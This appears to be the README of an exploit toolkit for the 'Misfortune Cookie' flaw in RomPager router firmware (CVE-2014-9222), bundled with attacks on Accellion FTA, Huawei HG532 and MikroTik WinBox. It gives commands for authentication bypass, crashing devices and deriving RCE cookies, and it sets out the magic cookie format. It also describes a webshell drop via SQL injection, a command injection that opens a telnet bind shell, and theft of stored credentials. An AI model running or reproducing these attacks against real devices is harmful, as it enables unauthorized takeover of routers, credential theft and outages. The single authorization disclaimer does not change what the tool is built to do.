CVE-2014-9222 "Misfortune Cookie" PoC suite

Stack overflow in AllegroSoft RomPager's HTTP cookie handling (all versions < 4.34). A single unauthenticated request with a crafted Cookie: header corrupts memory. Effects: admin auth bypass, DoS/reboot, and (with firmware-specific offsets) remote code execution.

Use only against hardware you own or are explicitly authorized to test.

Interactive console (recommended)

python3 main.py                # then set a target with [1]
python3 main.py http://192.168.1.1

[1] Set / switch target
[2] Fingerprint target
[3] Detect vulnerability (safe, non-destructive)
[4] Authentication bypass (magic cookie)
[5] DoS / crash the device  (DESTRUCTIVE)
[6] RCE helper - derive cookie from firmware addresses
[7] Model / cookie table lookup
[8] Scan for all vulnerabilities (probe)
[A] Accellion FTA chain (CVE-2021-27101 / 27102)
[B] Huawei HG532 (CVE-2017-17215)
[C] MikroTik WinBox (CVE-2018-14847)

Every action prints what it will do first; DoS requires typing YES. The per-model fingerprint (realm) is auto-detected from the WWW-Authenticate header and matched against the cookie table.

Scan (option 8)

[8] probes a host against all four vulnerability families with non-destructive checks and prints which are reachable/likely vulnerable:

python3 scan.py http://192.168.1.1
python3 scan.py http://192.168.1.1 --winbox-port 8291 --hg532-port 37215

Then run the matching menu entry ([3]/[4]/[A]/[B]/[C]) to exploit the confirmed one.

Additional PoCs (same console)

Alongside Misfortune Cookie, the console bundles PoCs for three other common embedded/appliance vulnerabilities:

• [A] Accellion FTA (accellion_fta.py) - reproduces the UNC2546 chain described by Mandiant: recover the w1 secret via SQL injection through a crafted Host header (/courier/oauth.api), then trigger admin.pl to write an eval webshell, and verify it. 27103 (SSRF) / 27104 (post-auth cmd exec) are noted but not exercised by default.
• [B] Huawei HG532 (huawei_hg532.py) - SOAP POST to /ctrlt/DeviceUpgrade_1 with $(<cmd>) in NewStatusURL, HTTP Digest auth dslf-config:admin; default command opens a telnet bind shell on 9999.
• [C] MikroTik WinBox () - directory-traversal file read over the WinBox protocol; default reads and decrypts stored credentials ( XOR).

All additional PoCs require explicit confirmation in the console.

Standalone CLI (same engines)

python3 detect.py http://192.168.1.1                      # safe check
python3 auth_bypass.py http://192.168.1.1                 # model auto-detected
python3 auth_bypass.py http://192.168.1.1 --restore       # re-enable auth
python3 auth_bypass.py http://192.168.1.1 --all           # try all known cookies
python3 auth_bypass.py http://192.168.1.1 --brute         # exhaustive (VERY slow, crashes)
python3 dos.py http://192.168.1.1                         # crash / reboot (DESTRUCTIVE)
python3 rce/derive_cookie.py 0x803E9A40 0x803AB30D        # addresses -> (num, pad)

Files

Magic cookie format

Cookie: C<evilnum>=<pad "B" bytes><payload>;

evilnum and pad are firmware-specific. evilnum indexes RomPager's 0x28-byte cookie array (C_Array + evilnum*0x28 + pad = overwritten address). The per-model table merged from exploitdb 39739 and the Metasploit allegro_rompager_auth_bypass module is in common.py.

RCE path

Needs one exact firmware image. Steps (see rce/README.md): extract rootfs with binwalk, reverse the cookie parser in Ghidra to find the buffer -> saved $ra delta, derive (num, pad) with derive_cookie.py, validate the MIPS shellcode against a QEMU-emulated image before touching the live target.

References

• https://nvd.nist.gov/vuln/detail/CVE-2014-9222
• https://web.archive.org/web/20141231080506/http://mis.fortunecook.ie/
• Metasploit: auxiliary/scanner/http/allegro_rompager_misfortune_cookie and auxiliary/admin/http/allegro_rompager_auth_bypass
• ExploitDB 39739 (Misfortune Cookie auth remover)